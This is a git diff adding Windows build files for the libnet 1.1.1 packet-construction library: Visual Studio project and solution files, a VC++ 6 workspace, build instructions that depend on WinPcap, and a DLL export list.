Name="VCPreBuildEventTool"/> + <Tool + Name="VCPreLinkEventTool"/> + <Tool + Name="VCResourceCompilerTool"/> + <Tool + Name="VCWebServiceProxyGeneratorTool"/> + <Tool + Name="VCXMLDataGeneratorTool"/> + <Tool + Name="VCWebDeploymentTool"/> + <Tool + Name="VCManagedWrapperGeneratorTool"/> + <Tool + Name="VCAuxiliaryManagedWrapperGeneratorTool"/> + </Configuration> + <Configuration + Name="Release|Win32" + OutputDirectory="Release" + IntermediateDirectory="Release" + ConfigurationType="2" + CharacterSet="2"> + <Tool + Name="VCCLCompilerTool" + AdditionalOptions="/LD" + Optimization="2" + InlineFunctionExpansion="1" + OmitFramePointers="TRUE" + AdditionalIncludeDirectories=".\include;.\src;..\winpcap\wpcap\libpcap\Win32\Include" + PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBNETLATEST_EXPORTS" + StringPooling="TRUE" + RuntimeLibrary="0" + EnableFunctionLevelLinking="TRUE" + UsePrecompiledHeader="0" + WarningLevel="4" + Detect64BitPortabilityProblems="FALSE" + DebugInformationFormat="3"/> + <Tool + Name="VCCustomBuildTool"/> + <Tool + Name="VCLinkerTool" + OutputFile="$(OutDir)/Libnet.dll" + LinkIncremental="1" + ModuleDefinitionFile="libnet_dll.def" + GenerateDebugInformation="TRUE" + SubSystem="2" + OptimizeReferences="2" + EnableCOMDATFolding="2" + ImportLibrary="$(OutDir)/Libnet.lib" + TargetMachine="1"/> + <Tool + Name="VCMIDLTool"/> + <Tool + Name="VCPostBuildEventTool"/> + <Tool + Name="VCPreBuildEventTool"/> + <Tool + Name="VCPreLinkEventTool"/> + <Tool + Name="VCResourceCompilerTool"/> + <Tool + Name="VCWebServiceProxyGeneratorTool"/> + <Tool + Name="VCXMLDataGeneratorTool"/> + <Tool + Name="VCWebDeploymentTool"/> + <Tool + Name="VCManagedWrapperGeneratorTool"/> + <Tool + Name="VCAuxiliaryManagedWrapperGeneratorTool"/> + </Configuration> + </Configurations> + <References> + </References> + <Files> + <Filter + Name="Source Files" + Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm"> + <File + RelativePath="..\src\libnet_advanced.c"> + </File> + <File + RelativePath="..\src\libnet_asn1.c"> + </File> + <File + RelativePath="..\src\libnet_build_802.1q.c"> + </File> + <File + RelativePath="..\src\libnet_build_802.1x.c"> + </File> + <File + RelativePath="..\src\libnet_build_802.2.c"> + </File> + <File + RelativePath="..\src\libnet_build_802.3.c"> + </File> + <File + RelativePath="..\src\libnet_build_arp.c"> + </File> + <File + RelativePath="..\src\libnet_build_bgp.c"> + </File> + <File + RelativePath="..\src\libnet_build_cdp.c"> + </File> + <File + RelativePath="..\src\libnet_build_data.c"> + </File> + <File + RelativePath="..\src\libnet_build_dhcp.c"> + </File> + <File + RelativePath="..\src\libnet_build_dns.c"> + </File> + <File + RelativePath="..\src\libnet_build_ethernet.c"> + </File> + <File + RelativePath="..\src\libnet_build_fddi.c"> + </File> + <File + RelativePath="..\src\libnet_build_gre.c"> + </File> + <File + RelativePath="..\src\libnet_build_icmp.c"> + </File> + <File + RelativePath="..\src\libnet_build_igmp.c"> + </File> + <File + RelativePath="..\src\libnet_build_ip.c"> + </File> + <File + RelativePath="..\src\libnet_build_ipsec.c"> + </File> + <File + RelativePath="..\src\libnet_build_isl.c"> + </File> + <File + RelativePath="..\src\libnet_build_link.c"> + </File> + <File + RelativePath="..\src\libnet_build_mpls.c"> + </File> + <File + RelativePath="..\src\libnet_build_ntp.c"> + </File> + <File + RelativePath="..\src\libnet_build_ospf.c"> + </File> + <File + RelativePath="..\src\libnet_build_rip.c"> + </File> + <File + RelativePath="..\src\libnet_build_rpc.c"> + </File> + <File + RelativePath="..\src\libnet_build_snmp.c"> + </File> + <File + RelativePath="..\src\libnet_build_stp.c"> + </File> + <File + RelativePath="..\src\libnet_build_tcp.c"> + </File> + <File + RelativePath="..\src\libnet_build_token_ring.c"> + </File> + <File + RelativePath="..\src\libnet_build_udp.c"> + </File> + <File + RelativePath="..\src\libnet_build_vrrp.c"> + </File> + <File + RelativePath="..\src\libnet_checksum.c"> + </File> + <File + RelativePath="..\src\libnet_cq.c"> + </File> + <File + RelativePath="..\src\libnet_crc.c"> + </File> + <File + RelativePath="..\src\libnet_dll.c"> + </File> + <File + RelativePath="libnet_dll.def"> + </File> + <File + RelativePath="..\src\libnet_error.c"> + </File> + <File + RelativePath="..\src\libnet_if_addr.c"> + </File> + <File + RelativePath="..\src\libnet_init.c"> + </File> + <File + RelativePath="..\src\libnet_internal.c"> + </File> + <File + RelativePath="..\src\libnet_link_win32.c"> + </File> + <File + RelativePath="..\src\libnet_pblock.c"> + </File> + <File + RelativePath="..\src\libnet_port_list.c"> + </File> + <File + RelativePath="..\src\libnet_prand.c"> + </File> + <File + RelativePath="..\src\libnet_raw.c"> + </File> + <File + RelativePath="..\src\libnet_resolve.c"> + </File> + <File + RelativePath="..\src\libnet_version.c"> + </File> + <File + RelativePath="..\src\libnet_write.c"> + </File> + </Filter> + <Filter + Name="Header Files" + Filter="h;hpp;hxx;hm;inl;inc"> + <File + RelativePath="..\include\win32\config.h"> + </File> + <File + RelativePath="..\include\libnet\libnet-asn1.h"> + </File> + <File + RelativePath="..\include\libnet\libnet-functions.h"> + </File> + <File + RelativePath="..\include\libnet\libnet-headers.h"> + </File> + <File + RelativePath="..\include\libnet\libnet-macros.h"> + </File> + <File + RelativePath="..\include\libnet\libnet-structures.h"> + </File> + <File + RelativePath="..\include\win32\libnet.h"> + </File> + </Filter> + <Filter + Name="Resource Files" + Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"> + </Filter> + </Files> + <Globals> + </Globals> +</VisualStudioProject> diff --git a/libnet/win32/Libnet-latest.ncb b/libnet/win32/Libnet-latest.ncb Binary files differnew file mode 100644 index 0000000..d14a41e --- /dev/null +++ b/libnet/win32/Libnet-latest.ncb diff --git a/libnet/win32/Libnet-latest.opt b/libnet/win32/Libnet-latest.opt Binary files differnew file mode 100644 index 0000000..30d86d9 --- /dev/null +++ b/libnet/win32/Libnet-latest.opt diff --git a/libnet/win32/Libnet-latest.sln b/libnet/win32/Libnet-latest.sln new file mode 100644 index 0000000..831677d --- /dev/null +++ b/libnet/win32/Libnet-latest.sln @@ -0,0 +1,77 @@ +Microsoft Visual Studio Solution File, Format Version 7.00
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Libnet-latest-006", "Libnet-latest.vcproj", "{6A0551E1-E416-4125-BCC0-F18F2D601806}"
+EndProject
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+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cdp", "..\sample\win32\cdp\cdp.vcproj", "{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dhcp_discover", "..\sample\win32\dhcp_discover\dhcp_discover.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
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+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "icmp_echo_cq", "..\sample\win32\icmp_echo_cq\icmp_echo_cq.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
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+EndProject
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+EndProject
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+EndProject
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+ EndGlobalSection
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AdditionalIncludeDirectories=".\src;.\include;..\winpcap\wpcap\libpcap\Win32\Include" + PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBNETLATEST_EXPORTS" + MinimalRebuild="TRUE" + BasicRuntimeChecks="3" + RuntimeLibrary="1" + BufferSecurityCheck="TRUE" + UsePrecompiledHeader="0" + WarningLevel="3" + Detect64BitPortabilityProblems="FALSE" + DebugInformationFormat="4"/> + <Tool + Name="VCCustomBuildTool"/> + <Tool + Name="VCLinkerTool" + OutputFile="c:\winnt\system32\Libnet.dll" + LinkIncremental="2" + ModuleDefinitionFile="libnet_dll.def" + GenerateDebugInformation="TRUE" + ProgramDatabaseFile="$(OutDir)/Libnet.pdb" + SubSystem="2" + ImportLibrary="$(OutDir)/Libnet.lib" + TargetMachine="1"/> + <Tool + Name="VCMIDLTool"/> + <Tool + Name="VCPostBuildEventTool"/> + <Tool + Name="VCPreBuildEventTool"/> + <Tool + Name="VCPreLinkEventTool"/> + <Tool + Name="VCResourceCompilerTool"/> + <Tool + Name="VCWebServiceProxyGeneratorTool"/> + <Tool + Name="VCXMLDataGeneratorTool"/> + <Tool + Name="VCWebDeploymentTool"/> + <Tool + Name="VCManagedWrapperGeneratorTool"/> + <Tool + Name="VCAuxiliaryManagedWrapperGeneratorTool"/> + </Configuration> + <Configuration + Name="Release|Win32" + OutputDirectory="Release" + IntermediateDirectory="Release" + ConfigurationType="2" + CharacterSet="2"> + <Tool + Name="VCCLCompilerTool" + AdditionalOptions="/LD" + Optimization="2" + InlineFunctionExpansion="1" + OmitFramePointers="TRUE" + AdditionalIncludeDirectories=".\include;.\src;..\winpcap\wpcap\libpcap\Win32\Include" + PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBNETLATEST_EXPORTS" + StringPooling="TRUE" + RuntimeLibrary="0" + EnableFunctionLevelLinking="TRUE" + UsePrecompiledHeader="0" + WarningLevel="3" + Detect64BitPortabilityProblems="FALSE" + DebugInformationFormat="3"/> + <Tool + Name="VCCustomBuildTool"/> + <Tool + Name="VCLinkerTool" + OutputFile="c:\winnt\system32\Libnet.dll" + LinkIncremental="1" + ModuleDefinitionFile="libnet_dll.def" + GenerateDebugInformation="TRUE" + SubSystem="2" + OptimizeReferences="2" + EnableCOMDATFolding="2" + ImportLibrary="$(OutDir)/Libnet.lib" + TargetMachine="1"/> + <Tool + Name="VCMIDLTool"/> + <Tool + Name="VCPostBuildEventTool"/> + <Tool + Name="VCPreBuildEventTool"/> + <Tool + Name="VCPreLinkEventTool"/> + <Tool + Name="VCResourceCompilerTool"/> + <Tool + Name="VCWebServiceProxyGeneratorTool"/> + <Tool + Name="VCXMLDataGeneratorTool"/> + <Tool + Name="VCWebDeploymentTool"/> + <Tool + Name="VCManagedWrapperGeneratorTool"/> + <Tool + Name="VCAuxiliaryManagedWrapperGeneratorTool"/> + </Configuration> + </Configurations> + <References> + </References> + <Files> + <Filter + Name="Source Files" + Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm"> + <File + RelativePath="..\src\libnet_advanced.c"> + </File> + <File + RelativePath="..\src\libnet_asn1.c"> + </File> + <File + RelativePath="..\src\libnet_build_802.1q.c"> + </File> + <File + RelativePath="..\src\libnet_build_802.1x.c"> + </File> + <File + RelativePath="..\src\libnet_build_802.2.c"> + </File> + <File + RelativePath="..\src\libnet_build_802.3.c"> + </File> + <File + RelativePath="..\src\libnet_build_arp.c"> + </File> + <File + RelativePath="..\src\libnet_build_bgp.c"> + </File> + <File + RelativePath="..\src\libnet_build_cdp.c"> + </File> + <File + RelativePath="..\src\libnet_build_data.c"> + </File> + <File + RelativePath="..\src\libnet_build_dhcp.c"> + </File> + <File + RelativePath="..\src\libnet_build_dns.c"> + </File> + <File + RelativePath="..\src\libnet_build_ethernet.c"> + </File> + <File + RelativePath="..\src\libnet_build_fddi.c"> + </File> + <File + RelativePath="..\src\libnet_build_gre.c"> + </File> + <File + RelativePath="..\src\libnet_build_icmp.c"> + </File> + <File + RelativePath="..\src\libnet_build_igmp.c"> + </File> + <File + RelativePath="..\src\libnet_build_ip.c"> + </File> + <File + RelativePath="..\src\libnet_build_ipsec.c"> + </File> + <File + RelativePath="..\src\libnet_build_isl.c"> + </File> + <File + RelativePath="..\src\libnet_build_link.c"> + </File> + <File + RelativePath="..\src\libnet_build_mpls.c"> + </File> + <File + RelativePath="..\src\libnet_build_ntp.c"> + </File> + <File + RelativePath="..\src\libnet_build_ospf.c"> + </File> + <File + RelativePath="..\src\libnet_build_rip.c"> + </File> + <File + RelativePath="..\src\libnet_build_rpc.c"> + </File> + <File + RelativePath="..\src\libnet_build_snmp.c"> + </File> + <File + RelativePath="..\src\libnet_build_stp.c"> + </File> + <File + RelativePath="..\src\libnet_build_tcp.c"> + </File> + <File + RelativePath="..\src\libnet_build_token_ring.c"> + </File> + <File + RelativePath="..\src\libnet_build_udp.c"> + </File> + <File + RelativePath="..\src\libnet_build_vrrp.c"> + </File> + <File + RelativePath="..\src\libnet_checksum.c"> + </File> + <File + RelativePath="..\src\libnet_cq.c"> + </File> + <File + RelativePath="..\src\libnet_crc.c"> + </File> + <File + RelativePath="..\src\libnet_dll.c"> + </File> + <File + RelativePath="libnet_dll.def"> + </File> + <File + RelativePath="..\src\libnet_error.c"> + </File> + <File + RelativePath="..\src\libnet_if_addr.c"> + </File> + <File + RelativePath="..\src\libnet_init.c"> + </File> + <File + RelativePath="..\src\libnet_internal.c"> + </File> + <File + RelativePath="..\src\libnet_link_win32.c"> + </File> + <File + RelativePath="..\src\libnet_pblock.c"> + </File> + <File + RelativePath="..\src\libnet_port_list.c"> + </File> + <File + RelativePath="..\src\libnet_prand.c"> + </File> + <File + RelativePath="..\src\libnet_raw.c"> + </File> + <File + RelativePath="..\src\libnet_resolve.c"> + </File> + <File + RelativePath="..\src\libnet_version.c"> + </File> + <File + RelativePath="..\src\libnet_write.c"> + </File> + </Filter> + <Filter + Name="Header Files" + Filter="h;hpp;hxx;hm;inl;inc"> + <File + RelativePath="..\include\win32\config.h"> + </File> + <File + RelativePath="..\include\libnet\libnet-asn1.h"> + </File> + <File + RelativePath="..\include\libnet\libnet-functions.h"> + </File> + <File + RelativePath="..\include\libnet\libnet-headers.h"> + </File> + <File + RelativePath="..\include\libnet\libnet-macros.h"> + </File> + <File + RelativePath="..\include\libnet\libnet-structures.h"> + </File> + <File + RelativePath="..\include\win32\libnet.h"> + </File> + </Filter> + <Filter + Name="Resource Files" + Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"> + </Filter> + </Files> + <Globals> + </Globals> +</VisualStudioProject> diff --git a/libnet/win32/Libnet.dsp b/libnet/win32/Libnet.dsp new file mode 100644 index 0000000..b221637 --- /dev/null +++ b/libnet/win32/Libnet.dsp @@ -0,0 +1,337 @@ +# Microsoft Developer Studio Project File - Name="Libnet" - Package Owner=<4>
+# Microsoft Developer Studio Generated Build File, Format Version 6.00
+# ** DO NOT EDIT **
+
+# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
+
+CFG=Libnet - Win32 Debug
+!MESSAGE This is not a valid makefile. To build this project using NMAKE,
+!MESSAGE use the Export Makefile command and run
+!MESSAGE
+!MESSAGE NMAKE /f "Libnet.mak".
+!MESSAGE
+!MESSAGE You can specify a configuration when running NMAKE
+!MESSAGE by defining the macro CFG on the command line. For example:
+!MESSAGE
+!MESSAGE NMAKE /f "Libnet.mak" CFG="Libnet - Win32 Debug"
+!MESSAGE
+!MESSAGE Possible choices for configuration are:
+!MESSAGE
+!MESSAGE "Libnet - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE "Libnet - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE
+
+# Begin Project
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+# PROP Scc_ProjName ""
+# PROP Scc_LocalPath ""
+CPP=cl.exe
+MTL=midl.exe
+RSC=rc.exe
+
+!IF "$(CFG)" == "Libnet - Win32 Release"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 0
+# PROP BASE Output_Dir "Release"
+# PROP BASE Intermediate_Dir "Release"
+# PROP BASE Target_Dir ""
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+# PROP Use_Debug_Libraries 0
+# PROP Output_Dir "Release"
+# PROP Intermediate_Dir "Release"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LIBNET_EXPORTS" /Yu"stdafx.h" /FD /c
+# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LIBNET_EXPORTS" /FD /c
+# SUBTRACT CPP /YX /Yc /Yu
+# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "NDEBUG"
+# ADD RSC /l 0x409 /d "NDEBUG"
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+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
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+# ADD LINK32 /nologo /dll /machine:I386 /out:"Release/Libnet-1.1.1.dll"
+
+!ELSEIF "$(CFG)" == "Libnet - Win32 Debug"
+
+# PROP BASE Use_MFC 0
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+# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LIBNET_EXPORTS" /FD /GZ /c
+# SUBTRACT CPP /YX /Yc /Yu
+# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "_DEBUG"
+# ADD RSC /l 0x409 /d "_DEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
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+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
+# ADD LINK32 /nologo /dll /debug /machine:I386 /pdbtype:sept
+
+!ENDIF
+
+# Begin Target
+
+# Name "Libnet - Win32 Release"
+# Name "Libnet - Win32 Debug"
+# Begin Group "Source Files"
+
+# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
+# Begin Source File
+
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+# End Source File
+# Begin Source File
+
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+# End Source File
+# Begin Source File
+
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+# End Source File
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+# End Source File
+# Begin Source File
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+# End Source File
+# Begin Source File
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+# End Source File
+# Begin Source File
+
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+# End Source File
+# Begin Source File
+
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+# End Source File
+# Begin Source File
+
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+# End Source File
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+# End Source File
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+# End Source File
+# Begin Source File
+
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+# End Source File
+# Begin Source File
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+# End Source File
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+# End Source File
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+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_checksum.c
+# End Source File
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+
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+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_crc.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_dll.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\libnet_dll.def
+# End Source File
+# Begin Source File
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+# End Source File
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+# Begin Source File
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+# End Source File
+# Begin Source File
+
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+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_raw.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_resolve.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_version.c
+# End Source File
+# Begin Source File
+
+SOURCE=..\src\libnet_write.c
+# End Source File
+# End Group
+# Begin Group "Header Files"
+
+# PROP Default_Filter "h;hpp;hxx;hm;inl"
+# Begin Source File
+
+SOURCE=..\include\win32\config.h
+# End Source File
+# Begin Source File
+
+SOURCE="..\include\libnet\libnet-asn1.h"
+# End Source File
+# Begin Source File
+
+SOURCE="..\include\libnet\libnet-functions.h"
+# End Source File
+# Begin Source File
+
+SOURCE="..\include\libnet\libnet-headers.h"
+# End Source File
+# Begin Source File
+
+SOURCE="..\include\libnet\libnet-macros.h"
+# End Source File
+# Begin Source File
+
+SOURCE="..\include\libnet\libnet-structures.h"
+# End Source File
+# Begin Source File
+
+SOURCE="..\include\libnet\libnet-types.h"
+# End Source File
+# Begin Source File
+
+SOURCE=..\include\win32\libnet.h
+# End Source File
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+# Begin Group "Resource Files"
+
+# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
+# End Group
+# Begin Source File
+
+SOURCE=.\ReadMe.txt
+# End Source File
+# End Target
+# End Project
diff --git a/libnet/win32/Libnet.dsw b/libnet/win32/Libnet.dsw new file mode 100644 index 0000000..7a07d7a --- /dev/null +++ b/libnet/win32/Libnet.dsw @@ -0,0 +1,32 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00
+# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!
+
+###############################################################################
+
+Project: "Libnet"=".\Libnet.dsp" - Package Owner=<4>
+
+Package=<5>
+{{{
+}}}
+
+Package=<4>
+{{{
+ Begin Project Dependency
+ Project_Dep_Name wpcap
+ End Project Dependency
+}}}
+
+###############################################################################
+
+Global:
+
+Package=<5>
+{{{
+}}}
+
+Package=<3>
+{{{
+}}}
+
+###############################################################################
+
diff --git a/libnet/win32/README.txt b/libnet/win32/README.txt new file mode 100644 index 0000000..074827a --- /dev/null +++ b/libnet/win32/README.txt @@ -0,0 +1,57 @@ +Libnet 1.1.1 VC++ Build instructions.
+Kirby Kuehl vacuum@users.sourceforge.net
+
+
+Tested Platforms:
+Windows 2000 SP4, Windows XP SP1
+
+Tested IDEs:
+VC++ 6.0 Service Pack 5
+Visual Studio .NET 2003
+Visual Studio .NET 2002
+
+Winpcap 3.01 Developers pack: http://winpcap.polito.it/install/default.htm
+Platform SDK : http://www.microsoft.com/msdownload/platformsdk/sdkupdate/
+
+
+1. Extract Libnet tarball. (Probably unnecessary since you are reading this.)
+
+2. Download and extract Winpcap 3.x developer's pack from http://winpcap.polito.it/install/default.htm
+ NOTE: Must download 3.x developer's pack. Do not use earlier versions.
+
+3. Open Libnet-1.1.1/win32/Libnet.dsw (If you are using VC++6.0)
+ Libnet-1.1.1/win32/Libnet-1.1.1-2002.sln (If youa are using Visual Studio .NET 20002)
+ Libnet-1.1.1/win32/Libnet-1.1.1-2003.sln (If youa are using Visual Studio .NET 20003)
+
+4. To properly setup the winpcap/libpcap dependencies.
+
+ Visual Studio .NET Instructions.
+ Select Tools/Options
+ Under the options dialog, select Projects and then VC++ Directories
+ Select Include files.
+ Add the following path
+ <path>wpdpack\Include
+ Select Library paths.
+ Add the following path
+ <path>wpdpack\Lib
+
+ Visual C++ 6.0 Instructions
+ You will need to also install the Microsoft Platform SDK in order to have iphlpapi.h
+ The platform SDK is available here: http://www.microsoft.com/msdownload/platformsdk/sdkupdate/
+ NOTE: The include order is important, or you will get redefinition errors. Put the platform sdk's directory first.
+ Select Tools/Options
+ Select the Directories Tab
+ Select Include files.
+ Add the following path
+ <path>wpdpack\Include
+ <path>Program Files\Microsoft SDK\include
+ Select Library paths.
+ Add the following path
+ <path>wpdpack\Lib
+ <path>Program Files\Microsoft SDK\Lib
+
+
+
+
+
+
diff --git a/libnet/win32/libnet_dll.def b/libnet/win32/libnet_dll.def new file mode 100644 index 0000000..f312fc8 --- /dev/null +++ b/libnet/win32/libnet_dll.def @@ -0,0 +1,164 @@ +LIBRARY Libnet + +EXPORTS + gethostbyname2 + libnet_addr2name4_r + libnet_addr2name4 + libnet_addr2name6_r + libnet_adv_cull_header + libnet_adv_cull_packet + libnet_adv_free_packet + libnet_adv_write_link + libnet_autobuild_arp + libnet_autobuild_ethernet + libnet_autobuild_fddi + libnet_autobuild_ipv4 + libnet_autobuild_ipv6 + libnet_autobuild_link + libnet_autobuild_token_ring + libnet_build_802_1q + libnet_build_802_1x + libnet_build_802_2snap + libnet_build_802_2 + libnet_build_802_3 + libnet_build_arp + libnet_build_asn1_bitstring + libnet_build_asn1_header + libnet_build_asn1_int + libnet_build_asn1_length + libnet_build_asn1_null + libnet_build_asn1_objid + libnet_build_asn1_sequence + libnet_build_asn1_string + libnet_build_asn1_uint + libnet_build_bgp4_header + libnet_build_bgp4_notification + libnet_build_bgp4_open + libnet_build_bgp4_update + libnet_build_bootpv4 + libnet_build_cdp + libnet_build_cdp_value + libnet_build_data + libnet_build_dhcpv4 + libnet_build_dnsv4 + libnet_build_egre + libnet_build_ethernet + libnet_build_fddi + libnet_build_gre_last_sre + libnet_build_gre_sre + libnet_build_gre + libnet_build_icmpv4_echo + libnet_build_icmpv4_mask + libnet_build_icmpv4_redirect + libnet_build_icmpv4_timeexceed + libnet_build_icmpv4_timestamp + libnet_build_icmpv4_unreach + libnet_build_igmp + libnet_build_ipsec_ah + libnet_build_ipsec_esp_ftr + libnet_build_ipsec_esp_hdr + libnet_build_ipv4_options + libnet_build_ipv4 + libnet_build_ipv6 + libnet_build_ipv6_destopts + libnet_build_ipv6_frag + libnet_build_ipv6_hbhopts + libnet_build_ipv6_routing + libnet_build_isl + libnet_build_link + libnet_build_mpls + libnet_build_ntp + libnet_build_ospfv2_dbd + libnet_build_ospfv2_hello + libnet_build_ospfv2_lsa_as + libnet_build_ospfv2_lsa_net + libnet_build_ospfv2_lsa_rtr + libnet_build_ospfv2_lsa_sum + libnet_build_ospfv2_lsa + libnet_build_ospfv2_lsr + libnet_build_ospfv2_lsu + libnet_build_ospfv2 + libnet_build_rip + libnet_build_rpc_call + libnet_build_snmp + libnet_build_stp_conf + libnet_build_stp_tcn + libnet_build_tcp_options + libnet_build_tcp + libnet_build_token_ring + libnet_build_udp + libnet_build_vrrp + libnet_clear_packet + libnet_close_link_interface + libnet_close_raw4 + libnet_close_raw6 + libnet_compute_crc + libnet_cq_add + libnet_cq_destroy + libnet_cq_find_by_label + libnet_cq_getlabel + libnet_cq_head + libnet_cq_last + libnet_cq_next + libnet_cq_remove_by_label + libnet_cq_remove + libnet_cq_size + libnet_destroy + libnet_diag_dump_context + libnet_diag_dump_hex + libnet_diag_dump_pblock + libnet_diag_dump_pblock_type + libnet_do_checksum + libnet_getdevice + libnet_geterror + libnet_getfd + libnet_getgre_length + libnet_getpacket_size + libnet_get_hwaddr + libnet_get_ipaddr4 + libnet_get_ipaddr6 + libnet_getpbuf + libnet_getpbuf_size + libnet_get_prand + libnet_hex_aton + libnet_ifaddrlist + libnet_in_cksum + libnet_init + libnet_ip_check + libnet_name2addr4 + libnet_name2addr6 + libnet_open_link + libnet_open_raw4 + libnet_open_raw6 + libnet_pblock_append + libnet_pblock_coalesce + libnet_pblock_delete + libnet_pblock_find + libnet_pblock_insert_before + libnet_pblock_new + libnet_pblock_p2p + libnet_pblock_probe + libnet_pblock_setflags + libnet_pblock_swap + libnet_pblock_update + libnet_plist_chain_dump + libnet_plist_chain_dump_string + libnet_plist_chain_free + libnet_plist_chain_new + libnet_plist_chain_next_pair + libnet_seed_prand + libnet_select_device + libnet_stats + libnet_toggle_checksum + libnet_win32_build_fake_ethernet + libnet_win32_build_fake_token + libnet_win32_get_remote_mac + libnet_win32_write_raw_ipv4 + libnet_write + libnet_write_link + libnet_write_raw_ipv4 + libnet_write_raw_ipv6 + __libnet_print_vers + + + |